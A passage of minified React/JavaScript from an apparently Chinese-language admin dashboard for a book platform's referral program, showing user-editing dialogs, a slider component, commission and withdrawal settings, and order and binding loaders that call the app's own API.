h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:Gr,disabled:Ro,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),Ro?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:Zs,onOpenChange:U=>{ft(U),U||Ur(null)},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(yl,{className:"w-5 h-5 text-amber-400"}),"设置超级个体标签 — ",xn==null?void 0:xn.name]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"选择或输入标签"}),s.jsx("div",{className:"flex flex-wrap gap-2",children:hs.map(U=>s.jsx(te,{variant:Ir===U?"default":"outline",size:"sm",className:Ir===U?"bg-[#38bdac] hover:bg-[#2da396] text-white":"border-gray-600 text-gray-300 hover:bg-gray-700/50",onClick:()=>ds(U),children:U},U))}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"或手动输入"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:创业者、资源整合者等",value:Ir,onChange:U=>ds(U.target.value)})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>ft(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:()=>Ma(Ir),disabled:Dn,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),Dn?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:Z,onOpenChange:ne,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[fe?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(Lg,{className:"w-5 h-5 text-[#38bdac]"}),fe?"编辑用户":"添加用户"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"请输入手机号",value:ce.phone,onChange:U=>ye({...ce,phone:U.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"请输入昵称",value:ce.nickname,onChange:U=>ye({...ce,nickname:U.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:fe?"新密码 (留空则不修改)":"密码"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:fe?"留空则不修改":"请输入密码",value:ce.password,onChange:U=>ye({...ce,password:U.target.value})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-300",children:"管理员权限"}),s.jsx(kt,{checked:ce.isAdmin,onCheckedChange:U=>ye({...ce,isAdmin:U})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-300",children:"已购全书"}),s.jsx(kt,{checked:ce.hasFullBook,onCheckedChange:U=>ye({...ce,hasFullBook:U})})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>ne(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:pe,disabled:$,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),$?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:ln,onOpenChange:yt,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),nn?"编辑规则":"添加规则"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"规则标题 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例:匹配后填写头像、付款1980需填写信息",value:Mt.title,onChange:U=>Yt({...Mt,title:U.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"规则描述"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[80px] resize-none",placeholder:"详细说明规则内容...",value:Mt.description,onChange:U=>Yt({...Mt,description:U.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"触发条件"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例:完成匹配、付款后、注册时",value:Mt.trigger,onChange:U=>Yt({...Mt,trigger:U.target.value})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{children:s.jsx(X,{className:"text-gray-300",children:"启用状态"})}),s.jsx(kt,{checked:Mt.enabled,onCheckedChange:U=>Yt({...Mt,enabled:U})})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>yt(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:On,disabled:$,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),$?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:oe,onOpenChange:P,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-2xl max-h-[80vh] overflow-auto",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"绑定关系 - ",le==null?void 0:le.nickname]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-4 gap-3",children:[s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsx("div",{className:"text-2xl font-bold text-[#38bdac]",children:((fs=q.stats)==null?void 0:fs.total)||0}),s.jsx("div",{className:"text-xs text-gray-400",children:"绑定总数"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsx("div",{className:"text-2xl font-bold text-green-400",children:((Di=q.stats)==null?void 0:Di.purchased)||0}),s.jsx("div",{className:"text-xs text-gray-400",children:"已付费"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsxs("div",{className:"text-2xl font-bold text-yellow-400",children:["¥",(((Ps=q.stats)==null?void 0:Ps.earnings)||0).toFixed(2)]}),s.jsx("div",{className:"text-xs text-gray-400",children:"累计收益"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsxs("div",{className:"text-2xl font-bold text-orange-400",children:["¥",(((Li=q.stats)==null?void 0:Li.pendingEarnings)||0).toFixed(2)]}),s.jsx("div",{className:"text-xs text-gray-400",children:"待提现"})]})]}),_?s.jsxs("div",{className:"flex items-center justify-center py-8",children:[s.jsx(qe,{className:"w-5 h-5 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):(((Pa=q.referrals)==null?void 0:Pa.length)??0)>0?s.jsx("div",{className:"space-y-2 max-h-[300px] overflow-y-auto",children:(q.referrals??[]).map((U,Pe)=>{var Ge;const Ve=U;return s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded-lg p-3",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm text-[#38bdac]",children:((Ge=Ve.nickname)==null?void 0:Ge.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white text-sm",children:Ve.nickname}),s.jsx("div",{className:"text-xs text-gray-500",children:Ve.phone||(Ve.hasOpenId?"微信用户":"未绑定")})]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[Ve.status==="vip"&&s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0 text-xs",children:"全书已购"}),Ve.status==="paid"&&s.jsxs(We,{className:"bg-blue-500/20 text-blue-400 border-0 text-xs",children:["已付费",Ve.purchasedSections,"章"]}),Ve.status==="free"&&s.jsx(We,{className:"bg-gray-500/20 text-gray-400 border-0 text-xs",children:"未付费"}),s.jsx("span",{className:"text-xs text-gray-500",children:Ve.createdAt?new Date(Ve.createdAt).toLocaleDateString():""})]})]},Ve.id||Pe)})}):s.jsx("div",{className:"text-center py-8 text-gray-500",children:"暂无绑定用户"})]}),s.jsx(on,{children:s.jsx(te,{variant:"outline",onClick:()=>P(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"关闭"})})]})}),s.jsx(n0,{open:Y,onClose:()=>V(!1),userId:re,onUserUpdated:Rt})]})}function mh(t,[e,n]){return Math.min(n,Math.max(e,t))}var kk=["PageUp","PageDown"],Sk=["ArrowUp","ArrowDown","ArrowLeft","ArrowRight"],Ck={"from-left":["Home","PageDown","ArrowDown","ArrowLeft"],"from-right":["Home","PageDown","ArrowDown","ArrowRight"],"from-bottom":["Home","PageDown","ArrowDown","ArrowLeft"],"from-top":["Home","PageDown","ArrowUp","ArrowLeft"]},zl="Slider",[Bg,mP,gP]=Xx(zl),[Ek]=Ei(zl,[gP]),[xP,wf]=Ek(zl),Tk=b.forwardRef((t,e)=>{const{name:n,min:r=0,max:a=100,step:i=1,orientation:o="horizontal",disabled:c=!1,minStepsBetweenThumbs:u=0,defaultValue:h=[r],value:f,onValueChange:m=()=>{},onValueCommit:g=()=>{},inverted:y=!1,form:N,...w}=t,v=b.useRef(new Set),k=b.useRef(0),E=o==="horizontal"?yP:bP,[T=[],I]=xo({prop:f,defaultProp:h,onChange:Z=>{var fe;(fe=[...v.current][k.current])==null||fe.focus(),m(Z)}}),O=b.useRef(T);function L(Z){const ne=kP(T,Z);z(Z,ne)}function R(Z){z(Z,k.current)}function D(){const Z=O.current[k.current];T[k.current]!==Z&&g(T)}function z(Z,ne,{commit:fe}={commit:!1}){const xe=TP(i),$=MP(Math.round((Z-r)/i)*i+r,xe),H=mh($,[r,a]);I((oe=[])=>{const P=wP(oe,H,ne);if(EP(P,u*i)){k.current=P.indexOf(H);const q=String(P)!==String(oe);return q&&fe&&g(P),q?P:oe}else return oe})}return s.jsx(xP,{scope:t.__scopeSlider,name:n,disabled:c,min:r,max:a,valueIndexToChangeRef:k,thumbs:v.current,values:T,orientation:o,form:N,children:s.jsx(Bg.Provider,{scope:t.__scopeSlider,children:s.jsx(Bg.Slot,{scope:t.__scopeSlider,children:s.jsx(E,{"aria-disabled":c,"data-disabled":c?"":void 0,...w,ref:e,onPointerDown:ot(w.onPointerDown,()=>{c||(O.current=T)}),min:r,max:a,inverted:y,onSlideStart:c?void 0:L,onSlideMove:c?void 0:R,onSlideEnd:c?void 0:D,onHomeKeyDown:()=>!c&&z(r,0,{commit:!0}),onEndKeyDown:()=>!c&&z(a,T.length-1,{commit:!0}),onStepKeyDown:({event:Z,direction:ne})=>{if(!c){const $=kk.includes(Z.key)||Z.shiftKey&&Sk.includes(Z.key)?10:1,H=k.current,oe=T[H],P=i*$*ne;z(oe+P,H,{commit:!0})}}})})})})});Tk.displayName=zl;var[Mk,Ak]=Ek(zl,{startEdge:"left",endEdge:"right",size:"width",direction:1}),yP=b.forwardRef((t,e)=>{const{min:n,max:r,dir:a,inverted:i,onSlideStart:o,onSlideMove:c,onSlideEnd:u,onStepKeyDown:h,...f}=t,[m,g]=b.useState(null),y=Ct(e,E=>g(E)),N=b.useRef(void 0),w=bf(a),v=w==="ltr",k=v&&!i||!v&&i;function C(E){const T=N.current||m.getBoundingClientRect(),I=[0,T.width],L=s0(I,k?[n,r]:[r,n]);return N.current=T,L(E-T.left)}return s.jsx(Mk,{scope:t.__scopeSlider,startEdge:k?"left":"right",endEdge:k?"right":"left",direction:k?1:-1,size:"width",children:s.jsx(Ik,{dir:w,"data-orientation":"horizontal",...f,ref:y,style:{...f.style,"--radix-slider-thumb-transform":"translateX(-50%)"},onSlideStart:E=>{const T=C(E.clientX);o==null||o(T)},onSlideMove:E=>{const T=C(E.clientX);c==null||c(T)},onSlideEnd:()=>{N.current=void 0,u==null||u()},onStepKeyDown:E=>{const I=Ck[k?"from-left":"from-right"].includes(E.key);h==null||h({event:E,direction:I?-1:1})}})})}),bP=b.forwardRef((t,e)=>{const{min:n,max:r,inverted:a,onSlideStart:i,onSlideMove:o,onSlideEnd:c,onStepKeyDown:u,...h}=t,f=b.useRef(null),m=Ct(e,f),g=b.useRef(void 0),y=!a;function N(w){const v=g.current||f.current.getBoundingClientRect(),k=[0,v.height],E=s0(k,y?[r,n]:[n,r]);return g.current=v,E(w-v.top)}return s.jsx(Mk,{scope:t.__scopeSlider,startEdge:y?"bottom":"top",endEdge:y?"top":"bottom",size:"height",direction:y?1:-1,children:s.jsx(Ik,{"data-orientation":"vertical",...h,ref:m,style:{...h.style,"--radix-slider-thumb-transform":"translateY(50%)"},onSlideStart:w=>{const v=N(w.clientY);i==null||i(v)},onSlideMove:w=>{const v=N(w.clientY);o==null||o(v)},onSlideEnd:()=>{g.current=void 0,c==null||c()},onStepKeyDown:w=>{const k=Ck[y?"from-bottom":"from-top"].includes(w.key);u==null||u({event:w,direction:k?-1:1})}})})}),Ik=b.forwardRef((t,e)=>{const{__scopeSlider:n,onSlideStart:r,onSlideMove:a,onSlideEnd:i,onHomeKeyDown:o,onEndKeyDown:c,onStepKeyDown:u,...h}=t,f=wf(zl,n);return s.jsx(ht.span,{...h,ref:e,onKeyDown:ot(t.onKeyDown,m=>{m.key==="Home"?(o(m),m.preventDefault()):m.key==="End"?(c(m),m.preventDefault()):kk.concat(Sk).includes(m.key)&&(u(m),m.preventDefault())}),onPointerDown:ot(t.onPointerDown,m=>{const g=m.target;g.setPointerCapture(m.pointerId),m.preventDefault(),f.thumbs.has(g)?g.focus():r(m)}),onPointerMove:ot(t.onPointerMove,m=>{m.target.hasPointerCapture(m.pointerId)&&a(m)}),onPointerUp:ot(t.onPointerUp,m=>{const g=m.target;g.hasPointerCapture(m.pointerId)&&(g.releasePointerCapture(m.pointerId),i(m))})})}),Rk="SliderTrack",Pk=b.forwardRef((t,e)=>{const{__scopeSlider:n,...r}=t,a=wf(Rk,n);return s.jsx(ht.span,{"data-disabled":a.disabled?"":void 0,"data-orientation":a.orientation,...r,ref:e})});Pk.displayName=Rk;var Vg="SliderRange",Ok=b.forwardRef((t,e)=>{const{__scopeSlider:n,...r}=t,a=wf(Vg,n),i=Ak(Vg,n),o=b.useRef(null),c=Ct(e,o),u=a.values.length,h=a.values.map(g=>_k(g,a.min,a.max)),f=u>1?Math.min(...h):0,m=100-Math.max(...h);return s.jsx(ht.span,{"data-orientation":a.orientation,"data-disabled":a.disabled?"":void 0,...r,ref:c,style:{...t.style,[i.startEdge]:f+"%",[i.endEdge]:m+"%"}})});Ok.displayName=Vg;var Hg="SliderThumb",Dk=b.forwardRef((t,e)=>{const n=mP(t.__scopeSlider),[r,a]=b.useState(null),i=Ct(e,c=>a(c)),o=b.useMemo(()=>r?n().findIndex(c=>c.ref.current===r):-1,[n,r]);return s.jsx(vP,{...t,ref:i,index:o})}),vP=b.forwardRef((t,e)=>{const{__scopeSlider:n,index:r,name:a,...i}=t,o=wf(Hg,n),c=Ak(Hg,n),[u,h]=b.useState(null),f=Ct(e,C=>h(C)),m=u?o.form||!!u.closest("form"):!0,g=t0(u),y=o.values[r],N=y===void 0?0:_k(y,o.min,o.max),w=jP(r,o.values.length),v=g==null?void 0:g[c.size],k=v?SP(v,N,c.direction):0;return b.useEffect(()=>{if(u)return o.thumbs.add(u),()=>{o.thumbs.delete(u)}},[u,o.thumbs]),s.jsxs("span",{style:{transform:"var(--radix-slider-thumb-transform)",position:"absolute",[c.startEdge]:`calc(${N}% + ${k}px)`},children:[s.jsx(Bg.ItemSlot,{scope:t.__scopeSlider,children:s.jsx(ht.span,{role:"slider","aria-label":t["aria-label"]||w,"aria-valuemin":o.min,"aria-valuenow":y,"aria-valuemax":o.max,"aria-orientation":o.orientation,"data-orientation":o.orientation,"data-disabled":o.disabled?"":void 0,tabIndex:o.disabled?void 0:0,...i,ref:f,style:y===void 0?{display:"none"}:t.style,onFocus:ot(t.onFocus,()=>{o.valueIndexToChangeRef.current=r})})}),m&&s.jsx(Lk,{name:a??(o.name?o.name+(o.values.length>1?"[]":""):void 0),form:o.form,value:y},r)]})});Dk.displayName=Hg;var NP="RadioBubbleInput",Lk=b.forwardRef(({__scopeSlider:t,value:e,...n},r)=>{const a=b.useRef(null),i=Ct(a,r),o=e0(e);return b.useEffect(()=>{const c=a.current;if(!c)return;const u=window.HTMLInputElement.prototype,f=Object.getOwnPropertyDescriptor(u,"value").set;if(o!==e&&f){const m=new Event("input",{bubbles:!0});f.call(c,e),c.dispatchEvent(m)}},[o,e]),s.jsx(ht.input,{style:{display:"none"},...n,ref:i,defaultValue:e})});Lk.displayName=NP;function wP(t=[],e,n){const r=[...t];return r[n]=e,r.sort((a,i)=>a-i)}function _k(t,e,n){const i=100/(n-e)*(t-e);return mh(i,[0,100])}function jP(t,e){return e>2?`Value ${t+1} of ${e}`:e===2?["Minimum","Maximum"][t]:void 0}function kP(t,e){if(t.length===1)return 0;const n=t.map(a=>Math.abs(a-e)),r=Math.min(...n);return n.indexOf(r)}function SP(t,e,n){const r=t/2,i=s0([0,50],[0,r]);return(r-i(e)*n)*n}function CP(t){return t.slice(0,-1).map((e,n)=>t[n+1]-e)}function EP(t,e){if(e>0){const n=CP(t);return Math.min(...n)>=e}return!0}function s0(t,e){return n=>{if(t[0]===t[1]||e[0]===e[1])return e[0];const r=(e[1]-e[0])/(t[1]-t[0]);return e[0]+r*(n-t[0])}}function TP(t){return(String(t).split(".")[1]||"").length}function MP(t,e){const n=Math.pow(10,e);return Math.round(t*n)/n}var AP=Tk,IP=Pk,RP=Ok,PP=Dk;function OP({className:t,defaultValue:e,value:n,min:r=0,max:a=100,...i}){const o=b.useMemo(()=>Array.isArray(n)?n:Array.isArray(e)?e:[r,a],[n,e,r,a]);return s.jsxs(AP,{defaultValue:e,value:n,min:r,max:a,className:Et("relative flex w-full touch-none items-center select-none data-[disabled]:opacity-50",t),...i,children:[s.jsx(IP,{className:"bg-gray-600 relative grow overflow-hidden rounded-full h-1.5 w-full",children:s.jsx(RP,{className:"bg-[#38bdac] absolute h-full rounded-full"})}),Array.from({length:o.length},(c,u)=>s.jsx(PP,{className:"block size-4 shrink-0 rounded-full border-2 border-[#38bdac] bg-white shadow-sm focus-visible:ring-2 focus-visible:ring-[#38bdac] focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50"},u))]})}const DP={distributorShare:90,minWithdrawAmount:10,bindingDays:30,userDiscount:5,enableAutoWithdraw:!1,vipOrderShareVip:20,vipOrderShareNonVip:10};function zk(t){const[e,n]=b.useState(DP),[r,a]=b.useState(!0),[i,o]=b.useState(!1);b.useEffect(()=>{De("/api/admin/referral-settings").then(h=>{const f=h==null?void 0:h.data;f&&typeof f=="object"&&n({distributorShare:f.distributorShare??90,minWithdrawAmount:f.minWithdrawAmount??10,bindingDays:f.bindingDays??30,userDiscount:f.userDiscount??5,enableAutoWithdraw:f.enableAutoWithdraw??!1,vipOrderShareVip:f.vipOrderShareVip??20,vipOrderShareNonVip:f.vipOrderShareNonVip??10})}).catch(console.error).finally(()=>a(!1))},[]);const c=async()=>{o(!0);try{const h={distributorShare:Number(e.distributorShare)||0,minWithdrawAmount:Number(e.minWithdrawAmount)||0,bindingDays:Number(e.bindingDays)||0,userDiscount:Number(e.userDiscount)||0,enableAutoWithdraw:!!e.enableAutoWithdraw,vipOrderShareVip:Number(e.vipOrderShareVip)||20,vipOrderShareNonVip:Number(e.vipOrderShareNonVip)||10},f=await vt("/api/admin/referral-settings",h);if(!f||f.success===!1){ie.error("保存失败: "+(f&&typeof f=="object"&&"error"in f?f.error:""));return}ie.success(`✅ 分销配置已保存成功! • 小程序与网站的推广规则会一起生效 • 绑定关系会使用新的天数配置 • 佣金比例会立即应用到新订单 -如有缓存,请刷新前台/小程序页面。`)}catch(h){console.error(h),ie.error("保存失败: "+(h instanceof Error?h.message:String(h)))}finally{o(!1)}},u=h=>f=>{const m=parseFloat(f.target.value||"0");n(g=>({...g,[h]:isNaN(m)?0:m}))};return r?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(jl,{className:"w-5 h-5 text-[#38bdac]"}),"推广 / 分销设置"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"统一管理「好友优惠」「你得 90% 收益」「绑定期 30 天」「提现门槛」等规则,小程序和 Web 共用这套配置。"})]}),s.jsxs(te,{onClick:c,disabled:i||r,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),i?"保存中...":"保存配置"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(fA,{className:"w-4 h-4 text-[#38bdac]"}),"推广规则"]}),s.jsx(It,{className:"text-gray-400",children:"这三项会直接体现在小程序「推广规则」卡片上,同时影响实收佣金计算。"})]}),s.jsx(Ee,{className:"space-y-6",children:s.jsxs("div",{className:"grid grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"好友优惠(%)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.userDiscount,onChange:u("userDiscount")}),s.jsx("p",{className:"text-xs text-gray-500",children:"例如 5 表示好友立减 5%(在价格配置基础上生效)。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-3 h-3 text-[#38bdac]"}),"推广者分成(%)"]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx(OP,{className:"flex-1",min:10,max:100,step:1,value:[e.distributorShare],onValueChange:([h])=>n(f=>({...f,distributorShare:h}))}),s.jsx(se,{type:"number",min:0,max:100,className:"w-20 bg-[#0a1628] border-gray-700 text-white text-center",value:e.distributorShare,onChange:u("distributorShare")})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["内容订单佣金 = 订单金额 ×"," ",s.jsxs("span",{className:"text-[#38bdac] font-mono",children:[e.distributorShare,"%"]}),";会员订单见下方。"]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"会员订单分润(推广者是会员 %)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.vipOrderShareVip,onChange:u("vipOrderShareVip")}),s.jsx("p",{className:"text-xs text-gray-500",children:"推广者已是会员时,会员订单佣金比例,默认 20%。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"会员订单分润(推广者非会员 %)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.vipOrderShareNonVip,onChange:u("vipOrderShareNonVip")}),s.jsx("p",{className:"text-xs text-gray-500",children:"推广者非会员时,会员订单佣金比例,默认 10%。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-3 h-3 text-[#38bdac]"}),"绑定有效期(天)"]}),s.jsx(se,{type:"number",min:1,max:365,className:"bg-[#0a1628] border-gray-700 text-white",value:e.bindingDays,onChange:u("bindingDays")}),s.jsx("p",{className:"text-xs text-gray-500",children:"好友通过你的链接进来并登录后,绑定在你名下的天数。"})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(jl,{className:"w-4 h-4 text-[#38bdac]"}),"提现规则"]}),s.jsx(It,{className:"text-gray-400",children:"与「提现中心」「自动提现」相关的参数,影响推广者看到的可提现金额和最低门槛。"})]}),s.jsx(Ee,{className:"space-y-6",children:s.jsxs("div",{className:"grid grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最低提现金额(元)"}),s.jsx(se,{type:"number",min:0,step:1,className:"bg-[#0a1628] border-gray-700 text-white",value:e.minWithdrawAmount,onChange:u("minWithdrawAmount")}),s.jsx("p",{className:"text-xs text-gray-500",children:"小程序「满 X 元可提现」展示的门槛,同时用于后端接口校验。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:["自动提现开关",s.jsx(qe,{variant:"outline",className:"border-[#38bdac]/40 text-[#38bdac] text-[10px]",children:"预留"})]}),s.jsxs("div",{className:"flex items-center gap-3 mt-1",children:[s.jsx(kt,{checked:e.enableAutoWithdraw,onCheckedChange:h=>n(f=>({...f,enableAutoWithdraw:h}))}),s.jsx("span",{className:"text-sm text-gray-400",children:"开启后,可结合定时任务实现「收益自动打款到微信零钱」。"})]})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"flex items-center gap-2 text-gray-200 text-sm",children:[s.jsx(Su,{className:"w-4 h-4 text-[#38bdac]"}),"使用说明"]})}),s.jsxs(Ee,{className:"space-y-2 text-xs text-gray-400 leading-relaxed",children:[s.jsxs("p",{children:["1. 以上配置会写入"," ",s.jsx("code",{className:"font-mono text-[11px] text-[#38bdac]",children:"system_config.referral_config"}),",小程序「推广中心」、Web 推广页以及支付回调都会读取同一份配置。"]}),s.jsx("p",{children:"2. 修改后新订单立即生效;旧订单的历史佣金不会自动重算,只影响之后产生的订单。"}),s.jsx("p",{children:"3. 如遇前端展示与实际结算不一致,优先以此处配置为准,再排查缓存和小程序版本。"})]})]})]})]})}function LP(){var Hn;const[t,e]=b.useState("overview"),[n,r]=b.useState([]),[a,i]=b.useState(null),[o,c]=b.useState([]),[u,h]=b.useState([]),[f,m]=b.useState([]),[g,y]=b.useState(!0),[N,w]=b.useState(null),[v,k]=b.useState(""),[C,E]=b.useState("all"),[T,I]=b.useState(1),[O,L]=b.useState(10),[R,D]=b.useState(0),[_,Z]=b.useState(new Set),[ne,fe]=b.useState(null),[xe,$]=b.useState(""),[H,oe]=b.useState(!1),[P,K]=b.useState(null),[V,z]=b.useState(""),[U,le]=b.useState(!1),[J,Y]=b.useState([]),[B,re]=b.useState(1),[ue,ce]=b.useState(0),[ye,Re]=b.useState("");b.useEffect(()=>{Le()},[]),b.useEffect(()=>{I(1)},[t,C]),b.useEffect(()=>{lt(t)},[t]),b.useEffect(()=>{["orders","bindings","withdrawals"].includes(t)&<(t,!0),t==="giftPay"&<("giftPay",!0)},[T,O,C,v,B,ye]);async function Le(){w(null);try{const q=await De("/api/admin/distribution/overview");q!=null&&q.success&&q.overview&&i(q.overview)}catch(q){console.error("[Admin] 概览接口异常:",q),w("加载概览失败")}try{const q=await De("/api/db/users");m((q==null?void 0:q.users)||[])}catch(q){console.error("[Admin] 用户数据加载失败:",q)}}async function lt(q,We=!1){var Je;if(!(!We&&_.has(q))){y(!0);try{const xt=f;switch(q){case"overview":break;case"orders":{try{const ct=new URLSearchParams({page:String(T),pageSize:String(O),...C!=="all"&&{status:C},...v&&{search:v}}),nt=await De(`/api/admin/orders?${ct}`);if(nt!=null&&nt.success&&nt.orders){const gt=nt.orders.map(Rt=>{const gn=xt.find(wr=>wr.id===Rt.userId),mr=Rt.referrerId?xt.find(wr=>wr.id===Rt.referrerId):null;return{...Rt,amount:parseFloat(String(Rt.amount))||0,userNickname:(gn==null?void 0:gn.nickname)||Rt.userNickname||"未知用户",userPhone:(gn==null?void 0:gn.phone)||Rt.userPhone||"-",referrerNickname:(mr==null?void 0:mr.nickname)||null,referrerCode:(mr==null?void 0:mr.referralCode)??null,type:Rt.productType||Rt.type}});r(gt),D(nt.total??gt.length)}else r([]),D(0)}catch(ct){console.error(ct),w("加载订单失败"),r([])}break}case"bindings":{try{const ct=new URLSearchParams({page:String(T),pageSize:String(O),...C!=="all"&&{status:C}}),nt=await De(`/api/db/distribution?${ct}`);c((nt==null?void 0:nt.bindings)||[]),D((nt==null?void 0:nt.total)??((Je=nt==null?void 0:nt.bindings)==null?void 0:Je.length)??0)}catch(ct){console.error(ct),w("加载绑定数据失败"),c([])}break}case"withdrawals":{try{const 